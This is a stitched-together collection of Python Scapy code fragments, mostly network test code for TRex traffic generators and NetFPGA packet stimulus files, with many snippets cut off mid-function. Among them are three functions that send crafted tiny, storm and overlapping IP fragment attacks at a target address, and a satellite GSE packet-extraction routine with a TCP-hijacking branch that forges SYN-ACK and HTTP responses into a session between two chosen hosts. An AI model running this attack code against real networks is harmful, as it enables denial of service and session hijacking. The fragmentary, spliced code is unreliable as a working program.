def get_sample_packet(self, pkt_type):
if pkt_type == "tcp":
return Ether() / IP(src=SOURCE_IP,
dst=DEST_IP) / TCP() / ("*" * 1500)
elif pkt_type == "gtpu-udp":
return (Ether() / IP(src=SOURCE_IP, dst=DEST_IP) / UDP() / GTPU() /
IP() / UDP() / ("*" * 1500))
else:
return Ether() / IP(src=SOURCE_IP,
dst=DEST_IP) / UDP() / ("*" * 1500)
def start(self, args: dict) -> None:
pkt = Ether(dst=DEST_MAC) / IP() / TCP() / ("*" * 1500)
# Create a traffic stream
stream = STLStream(packet=STLPktBuilder(pkt=pkt, vm=[]),
mode=STLTXCont())
self.client.add_streams(stream, ports=[0])
logging.info(
"Starting traffic, duration: %d sec",
args.duration,
)
# Start sending traffic
self.client.start(SENDER_PORT, mult="100%", duration=args.duration)
logging.info("Waiting until all traffic stop")
self.client.wait_on_traffic(ports=SENDER_PORT)
# Get statistics for TX and RX ports
stats = self.client.get_stats()
rx_rate_mbps = stats[1]["rx_bps"] / (10**6)
assert (SHAPING_RATE_MBPS * 0.95 < rx_rate_mbps < SHAPING_RATE_MBPS
), "The measured RX rate is not close to the port shaping rate"
readable_stats_0 = get_readable_port_stats(stats[0])
readable_stats_1 = get_readable_port_stats(stats[1])
print("\n Statistics for TX port: \n")
print(readable_stats_0)
print("\n Statistics for RX port: \n")
print(readable_stats_1)
def run_ping_checks_scapy(target, ret, checks, interval, timeout, source,
timestamp, group, alert, **kwargs):
check_result = {
"success": 0,
"checks": checks,
"rtt": [],
"comment": "",
"target": target,
"check_type": "PING",
"source": source, # add minion id
"@timestamp": timestamp,
"group": group,
}
# try to resolve target name to IP:
try:
target_address = socket.gethostbyname(target)
except socket.gaierror:
check_result[
"comment"] += "ERROR, PING connection check, DNS resolution failed for target - {}".format(
target)
ret["out"].append(check_result)
return
# do ICMP checks
for i in range(checks):
try:
packet = Ether() / IP(dst=target_address) / ICMP()
ans, unans = srp(packet,
filter="icmp",
verbose=0,
timeout=timeout)
if len(ans) != 0:
rx = ans[0][1]
tx = ans[0][0]
check_result["rtt"].append(abs(rx.time - tx.sent_time))
check_result["success"] += 1
elif len(unans) != 0:
check_result[
"comment"] += "Check {}, ERROR, no ICMP reply, timeout - {}s, target - {}, address - {}\n".format(
i, timeout, target, target_address)
except:
exc_type, exc_value, exc_traceback = sys.exc_info()
check_result[
"comment"] += "Check {}, ERROR: Unhandled scapy error, target - {}, target_address - {}\n\n{}\n".format(
i,
target,
target_address,
"".join(
traceback.format_exception(exc_type, exc_value,
exc_traceback)),
)
time.sleep(interval)
# add check stats
check_result = _calculate_stats(check_result)
# sent alert on failure if requested to do so
if check_result["success"] == 0 and alert is True:
_send_alert(check_type="PING", target=target, data=check_result)
# save thread run results
ret["out"].append(check_result)
def TinyFragmentAttack(Ip, Interface, PckNmb):
for p in fragment(IP(dst=Ip, flags="MF", id=222) / UDP() /
Raw(load="abcdefgh" * PckNmb),
fragsize=1):
send(p, iface=Interface, verbose=0)
p.frag += 1
p.flags = 0
send(p, iface=Interface, verbose=0)
return 0
def StormFragmentAttack(Ip, Interface, PckNmb):
for p in fragment(
IP(dst=Ip, flags="MF", id=222) / UDP() /
Raw(load="a" * 1472 * PckNmb)):
send(p, iface=Interface, verbose=0)
p.frag += 185
p.flags = 0
send(p, iface=Interface, verbose=0)
return 0
def TinyOverlappingFragmentAttack(Ip, Interface, PckNmb):
for p in fragment(IP(dst=Ip, flags="MF", id=222) / UDP(dport=80) /
Raw(load="abcdefgh" * PckNmb),
fragsize=3):
p.frag -= 1
send(p, iface=Interface, verbose=0)
p.frag += 1
p.flags = 0
send(p, iface=Interface, verbose=0)
return 0
def start(self, args) -> None:
pkt = (
Ether(src=SOURCE_MAC, dst=DEST_MAC)
/ IP(src=SOURCE_IP, dst=DEST_IP)
/ UDP()
/ ("*" * 1500)
)
stream = STLStream(packet=STLPktBuilder(pkt=pkt, vm=[]), mode=STLTXCont())
logging.info("Setting up ports")
self.client.add_streams(stream, ports=SENDER_PORTS)
pkt_capture_limit = args.duration * 3
logging.info(
"Start capturing first %s RX packet from INT collector", pkt_capture_limit
)
self.client.set_service_mode(ports=INT_COLLECTPR_PORTS, enabled=True)
capture = self.client.start_capture(
rx_ports=INT_COLLECTPR_PORTS,
limit=pkt_capture_limit,
bpf_filter="udp and dst port 32766",
)
logging.info(
"Starting traffic, duration: %ds, throughput: 100%%", args.duration
)
self.client.start(ports=SENDER_PORTS, mult="100%", duration=args.duration)
logging.info("Waiting until all traffic stop")
self.client.wait_on_traffic(ports=SENDER_PORTS)
logging.info("Stop capturing packet from INT collector port")
output = "/tmp/congestion-report-{}.pcap".format(
datetime.now().strftime("%Y%m%d-%H%M%S")
)
self.client.stop_capture(capture["id"], output)
analysis_report_pcap(output)
list_port_status(self.client.get_stats())
import sys
script_dir = os.path.dirname(sys.argv[0])
# Add path *relative to this script's location* of axitools module
sys.path.append(os.path.join(script_dir, '..', '..', '..', 'tools', 'scripts'))
# NB: axitools import must preceed any scapy imports
import axitools
from scapy.layers.all import Ether, IP, TCP
pkts = []
# A simple TCP/IP packet embedded in an Ethernet II frame
for i in range(50):
pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc') /
IP(src='192.168.1.1', dst='192.168.1.2') / TCP() / ('X' * 1460))
print len(pkt)
pkt.time = 300 * (1e-6)
# Set source network interface for DMA stream
#pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered
pkts.append(pkt)
# PCI interface
"""
with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f:
axitools.axis_dump( pkts, f, 256, 1e-9 )
with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f:
axitools.axis_dump( pkts*4, f, 256, 1e-9 )
"""
with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f:
axitools.axis_dump([], f, 256, 1e-9)
from scapy.layers.all import Ether, IP, TCP
parser=OptionParser()
parser.add_option("-k","--key",dest="key",help="Encryption key")
(options,args)=parser.parse_args()
key=int(options.key,16)
pkts=[]
# A simple TCP/IP packet embedded in an Ethernet II frame
for i in range(1):
pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc')/
IP(src='192.168.1.1', dst='192.168.1.2')/
# TCP()/ #TCP is not used in this design
'Hello, NetFPGA-10G!')
pkt.time = 2e-6+i*(1e-8) #give enough time for register configuration
# Set source network interface for DMA stream
pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered
pkts.append(pkt)
save_payload=pkts[0].payload.payload
# PCI interface
with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f:
axitools.axis_dump( pkts, f, 256, 1e-9 )
with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f:
for i in range(1):
for pkt in pkts:
pkt.payload.payload=save_payload
pkts_arp.append(pkt)
else:
pkt = (Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') /
ARP(psrc=src_ip_addr, pdst=dst_ip_addr) / pad_18)
pkt.time = i * (1e-8)
pkt.tuser_sport = no_port
pkts_arp.append(pkt)
pkts_tcp = []
#A simple TCP/IP packet embedded in an Ethernet II frame
for i in range(int(no_pkt)):
if (args.align == '1'):
if (args.vlan):
pkt = (align_byte /
Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') /
Dot1Q(vlan=vlan_no) / IP(src=src_ip_addr, dst=dst_ip_addr) /
TCP() / payload_data)
pkt.time = i * (1e-8)
pkt.tuser_sport = no_port
pkts_tcp.append(pkt)
else:
pkt = (align_byte /
Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') /
IP(src=src_ip_addr, dst=dst_ip_addr) / TCP() / payload_data)
pkt.time = i * (1e-8)
pkt.tuser_sport = no_port
pkts_tcp.append(pkt)
else:
if (args.vlan):
pkt = (Ether(src='ff:22:33:44:55:66', dst='77:88:99:aa:bb:cc') /
Dot1Q(vlan=vlan_no) / IP(src=src_ip_addr, dst=dst_ip_addr) /
def start(self, args: dict) -> None:
# create packets
pkt1 = Ether(dst=DEST_MAC) / IP(src="16.0.0.1", dst="48.0.0.1") / UDP(
dport=12, sport=1025) / ("*" * 1500)
pkt2 = Ether(dst=DEST_MAC) / IP(src="16.0.0.2", dst="48.0.0.2") / UDP(
dport=12, sport=1025) / ("*" * 1500)
pkt3 = Ether(dst=DEST_MAC) / IP(src="16.0.0.3", dst="48.0.0.3") / UDP(
dport=12, sport=1025) / ("*" * 1500)
#stream list
streams = []
# Create a traffic stream
# assume s1 is a delay critical stream with QoS
s1 = STLStream(packet=STLPktBuilder(pkt=pkt1),
mode=STLTXCont(percentage=1),
flow_stats=STLFlowLatencyStats(pg_id=1))
# assume s2 is a delay critical stream without QoS
s2 = STLStream(packet=STLPktBuilder(pkt=pkt2),
mode=STLTXCont(percentage=1),
flow_stats=STLFlowLatencyStats(pg_id=2))
# assume s3 is a lower priority stream
s3 = STLStream(packet=STLPktBuilder(pkt=pkt3),
mode=STLTXCont(percentage=98),
flow_stats=STLFlowLatencyStats(pg_id=3))
# prepare ports
self.client.reset(ports=[0, 1])
# add sterams
streams.append(s1)
streams.append(s2)
streams.append(s3)
self.client.add_streams(streams, ports=[0])
logging.info(
"Starting traffic, duration: %d sec",
args.duration,
)
# Start sending traffic
self.client.start(SENDER_PORT, mult="100%", duration=args.duration)
pgids = self.client.get_active_pgids()
logging.info("Waiting until all traffic stop")
self.client.wait_on_traffic(ports=SENDER_PORT)
# stats for pg_id 1 and 2
stats = self.client.get_pgid_stats(pgids['latency'])
flow_stats_1 = stats['flow_stats'].get(1)
flow_stats_2 = stats['flow_stats'].get(2)
global_lat_stats = stats['latency']
lat_stats_1 = global_lat_stats.get(1)
lat_stats_2 = global_lat_stats.get(2)
tx_pkts_1 = flow_stats_1['tx_pkts'].get(0, 0)
rx_pkts_1 = flow_stats_1['rx_pkts'].get(1, 0)
drops_1 = lat_stats_1['err_cntrs']['dropped']
tx_pkts_2 = flow_stats_2['tx_pkts'].get(0, 0)
rx_pkts_2 = flow_stats_2['rx_pkts'].get(1, 0)
drops_2 = lat_stats_2['err_cntrs']['dropped']
print(
" \n TX and RX flow stats and packets dropped for s1 (i.e., delay critical): "
)
print(" tx packets: {0}".format(tx_pkts_1))
print(" tx bytes : {0}".format(tx_pps_1))
print(" rx packets : {0}".format(rx_pkts_1))
print(" drops: {0}".format(drops_1))
print(
" \n TX and RX flow stats and packets dropped for s2 (i.e., delay critical): "
)
print(" tx packets: {0}".format(tx_pkts_2))
print(" tx bytes : {0}".format(tx_pps_2))
print(" rx packets : {0}".format(rx_pkts_2))
print(" drops: {0}".format(drops_2))
# latency info for s1
lat_1 = lat_stats_1['latency']
avg_1 = lat_1['average']
tot_max_1 = lat_1['total_max']
tot_min_1 = lat_1['total_min']
# latency info for s2
lat_2 = lat_stats_2['latency']
avg_2 = lat_2['average']
tot_max_2 = lat_2['total_max']
tot_min_2 = lat_2['total_min']
print('\n Latency info for s1 (ie., delay critical with QoS):')
print(" Maximum latency(usec): {0}".format(tot_max_1))
print(" Minimum latency(usec): {0}".format(tot_min_1))
print(" Average latency(usec): {0}".format(avg_1))
print('\n Latency info for s2 (ie., delay critical without QoS):')
print(" Maximum latency(usec): {0}".format(tot_max_2))
print(" Minimum latency(usec): {0}".format(tot_min_2))
print(" Average latency(usec): {0}".format(avg_2))
# max latency difference between delay critcal streams s1 and s2
dc_max_lat_diff = tot_max_2 - tot_max_1
assert ((LATENCY_LP_MAX_USEC - LATENCY_DC_MAX_USEC) <= dc_max_lat_diff), \
"Priority scheduling test failed."
# Get statistics for TX and RX ports
stats = self.client.get_stats()
readable_stats_0 = get_readable_port_stats(stats[0])
readable_stats_1 = get_readable_port_stats(stats[1])
logging.info("Priority scheduling test successfully executed.")
print("\n Overall Statistics for TX port: \n")
print(readable_stats_0)
print("\n Overall Statistics for RX port: \n")
print(readable_stats_1)
nftest_expect_dma('nf' + str(port), pkt)
print ""
nftest_finish()
else:
no_pkts = 8
pkts = []
# A simple TCP/IP packet embedded in an Ethernet II frame
for i in range(no_pkts):
g = 1002 # max payload length
payload = ''
for x in range(g):
payload = payload + 'A'
pkt = (Ether(src='aa:bb:cc:dd:ee:ff', dst='77:88:99:aa:bb:cc') /
IP(src='192.168.0.1', dst='192.168.1.1') / TCP() / payload)
pkt.time = i * (1e-8)
# Set source network interface for DMA stream
pkt.tuser_sport = 1 << (i % 4 * 2 + 1) # PCI ports are odd-numbered
pkts.append(pkt)
# PCI interface
with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f:
axitools.axis_dump(pkts, f, 256, 1e-9)
with open(os.path.join(script_dir, 'dma_0_expected.axi'), 'w') as f:
axitools.axis_dump(pkts * 4, f, 256, 1e-9)
# 10g interfaces
for i in range(4):
# replace source port
for pkt in pkts:
def extract_ip_from_gse_data(raw_data,
high_reliability=True,
tcp_hijack=False,
tcp_hijack_ips=[None, None]):
ip_packet = None
simple_packet = None
try:
ip_packet = Ipv4Packet.from_bytes(raw_data)
except EOFError:
# if there's just not enough bytes, we can try adding a small number of padding bytes to see if it makes for a mostly recovered packet
# we'll try to recover up to 3x the length of the original packet
try:
raw_data = raw_data + (3 * len(raw_data)) * b"\x00"
ip_packet = Ipv4Packet.from_bytes(raw_data)
except:
counters['non_ip_or_corrupt_gse'] += 1
except ValueError:
# we can try and force a typical first two bytes of an IPV4 header to bully GSExtract into making a packet
# this runs the risk of invalid IP headers but catches some packets when there are undocument proprietary GSE extensions
if not high_reliability:
try:
raw_data = b"\x45" + raw_data + (3 * len(raw_data)) * b"\x00"
ip_packet = Ipv4Packet.from_bytes(raw_data)
except:
try:
raw_data = b"\x45\x00" + raw_data[1:] + (
3 * len(raw_data)) * b"\x00"
ip_packet = Ipv4Packet.from_bytes(raw_data)
except:
pass
counters['non_ip_or_corrupt_gse'] += 1
except:
pass
if ip_packet is not None:
seconds_time = time.time()
dt = datetime.now()
simple_packet = (int(seconds_time), dt.microsecond, len(raw_data),
len(raw_data), raw_data)
# This is a very simple example of TCP hijacking
# You would need to pass both a target and destination IP address through to the parent function
# This is not implemented in the command-line tool but the modifications should be straightforward
if tcp_hijack and (ip_packet.src_ip_addr == tcp_hijack_ips[0]
or ip_packet.dst_ip_addr == tcp_hijack_ips[0]) and (
ip_packet.src_ip_addr == tcp_hijack_ips[1]
or ip_packet.dst_ip_addr == tcp_hijack_ips[1]):
html = "<b>Hijacked TCP Session</b>"
p = IP(raw_data)
if "TCP" in p:
F = p[TCP].flags
forgery_ip = IP(src=p[IP].dst, dst=p[IP].src)
response = "HTTP/1.1 200 OK\n"
response += "Server: MyServer\n"
response += "Content-Type: text/html\n"
response += "Content-Length: " + str(len(html)) + "\n"
response += "Connection: close"
response += "\n\n"
response += html
if F & SYN and not F & ACK:
forgery_tcp = TCP(sport=p[TCP].dport,
dport=p[TCP].sport,
seq=123,
ack=p[TCP].seq + 1,
flags="AS")
forgery = Ether() / forgery_ip / forgery_tcp / response
sendp(forgery)
elif F & ACK and F & PSH:
forgery_tcp = TCP(sport=p[TCP].dport,
dport=p[TCP].sport,
seq=p[TCP].ack + 1,
ack=p[TCP].seq,
flags="PA",
options=p[TCP].options)
forgery = Ether() / forgery_ip / forgery_tcp / response
sendp(forgery)
forgery.show()
counters['ip_recovered'] += 1
return simple_packet
#
import sys
sys.path.append('../../../../../../tools/scripts')
# NB: axitools import must preceed any scapy imports
import axitools
from scapy.layers.all import Ether, IP, TCP
pkts = []
f0 = open("stream_data_in_0.axi", "w")
f1 = open("stream_data_in_1.axi", "w")
f2 = open("stream_data_in_2.axi", "w")
f3 = open("stream_data_in_3.axi", "w")
f4 = open("stream_data_in_4.axi", "w")
# A simple TCP/IP packet embedded in an Ethernet II frame
for i in range(0, 10):
pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') /
IP(src='204.204.204.204', dst='221.221.221.221') /
TCP(sport=51996, dport=80) / "GET /newyorker.com.abdcldkj")
pkt.time = i * (1e-8)
pkts.append(pkt)
# Write out to console
axitools.axis_dump(pkts, f0, 64, 1e-9)
axitools.axis_dump(pkts, f1, 64, 1e-9)
axitools.axis_dump(pkts, f2, 64, 1e-9)
axitools.axis_dump(pkts, f3, 64, 1e-9)
axitools.axis_dump(pkts, f4, 64, 1e-9)
nftest_expect_dma('nf' + str(port), pkt)
print ""
nftest_finish()
else:
no_pkts = 8
pkts=[]
# A simple TCP/IP packet embedded in an Ethernet II frame
for i in range(no_pkts):
g = 10 # min payload length
payload = ''
for x in range(g):
payload = payload + 'A'
pkt = (Ether(src='aa:bb:cc:dd:ee:ff', dst='77:88:99:aa:bb:cc')/
IP(src='192.168.0.1', dst='192.168.1.1')/
TCP()/
payload)
pkt.time = i*(1e-8)
# Set source network interface for DMA stream
pkt.tuser_sport = 1 << (i%4*2 + 1) # PCI ports are odd-numbered
pkts.append(pkt)
# PCI interface
with open( os.path.join( script_dir, 'dma_0_stim.axi' ), 'w' ) as f:
axitools.axis_dump( pkts, f, 256, 1e-9 )
with open( os.path.join( script_dir, 'dma_0_expected.axi' ), 'w' ) as f:
axitools.axis_dump( pkts*4, f, 256, 1e-9 )
# 10g interfaces
for i in range(4):
fix_checksum_sum = sum(bytearray(fix_checksum_string)) % 256
str_fix = str(fix_checksum_sum)
bcd_fix_checksum = ''
if fix_checksum_sum >= 100:
bcd_fix_checksum = str_fix[0] + str_fix[1] + str_fix[2]
elif fix_checksum_sum < 100 and fix_checksum_sum >= 10:
bcd_fix_checksum = '0' + str_fix[0] + str_fix[1]
elif fix_checksum_sum < 10:
bcd_fix_checksum = '0' + '0' + str_fix[0]
bcd_fix_checksum = '10=' + bcd_fix_checksum + '\x01'
pkt = (Ether(src=src_mac_addr, dst=dst_mac_addr) /
IP(src=src_ip_addr, dst=dst_ip_addr) /
TCP(sport=ip_sport_no,
dport=ip_dport_no,
flags="PA",
options=[('NOP', None), ('NOP', None),
('Timestamp', (34498433, 3150184448))]) /
fix_header_data / fix_body_length_final / fix_Msg_Type /
fix_seq_num / fix_sendCom_ID / fix_sending_time_data /
fix_Target_ID / fix_ClOrd_ID / fix_order_ID / fix_account /
fix_symbol / fix_Ord_Type / fix_order_Qty / fix_order_side /
fix_order_price / fix_timeInForce / fix_transactTime /
fix_TwseIvacnoFlag / fix_TwseOrdType / fix_TwseExCode /
fix_TwseRejStaleOrd / bcd_fix_checksum)
pkts_tcp.append(pkt)
print i
payload_data = ''
if (args.packet_no):
no_pkts = args.packet_no
else:
no_pkts = '2'
for i in range(int(pkt_length)):
payload_data = payload_data + 'A'
pkts = []
# A simple TCP/IP packet embedded in an Ethernet II frame
for i in range(int(no_pkts) * 4):
pkt = (Ether(src='11:22:33:44:55:66', dst='77:88:99:aa:bb:cc') /
IP(src='192.168.1.1', dst='192.168.1.2') / TCP() / payload_data)
pkt.time = i * (1e-8)
# Set source network interface for DMA stream
pkt.tuser_sport = 1 << (i % 4 * 2 + 1) # PCI ports are odd-numbered
pkts.append(pkt)
# PCI interface
with open(os.path.join(script_dir, 'dma_0_stim.axi'), 'w') as f:
axitools.axis_dump(pkts, f, 256, 1e-9)
with open(os.path.join(script_dir, 'dma_0_expected.axi'), 'w') as f:
axitools.axis_dump(pkts * 4, f, 256, 1e-9)
nf_pkts = []
if (args.packet_no):
nf_pkts = pkts[0:int(no_pkts)]
else:
for port in range(4):
DA = "00:ca:fe:00:00:%02x" % port
pkt = make_IP_pkt(dst_MAC=DA,
src_MAC=SA,
dst_IP=DST_IP,
src_IP=SRC_IP,
TTL=TTL,
pkt_len=60)
totalPktLengths[port] += len(pkt)
nftest_send_dma('nf' + str(port), pkt)
nftest_expect_dma('nf' + str(port), pkt)
else:
#DA = "00:ca:fe:00:00:00"
#pkt = make_IP_pkt(dst_MAC=DA, src_MAC=SA, dst_IP=DST_IP,
# src_IP=SRC_IP, TTL=TTL,
# pkt_len=80,)
pkt = (Ether(src='f0:0d:f0:0d:f0:0d', dst='ba:be:ba:be:ba:be') /
IP(src='255.255.255.255', dst='5.6.7.8') /
TCP(sport=51996, dport=51996) / ("TOI DI CHOI GAME FIFA"))
pkt.time = (i * (1e-8))
pkts.append(pkt)
if not isHW():
nftest_send_phy('nf0', pkts)
nftest_expect_dma('nf0', pkts)
print ""
mres = []
nftest_finish(mres)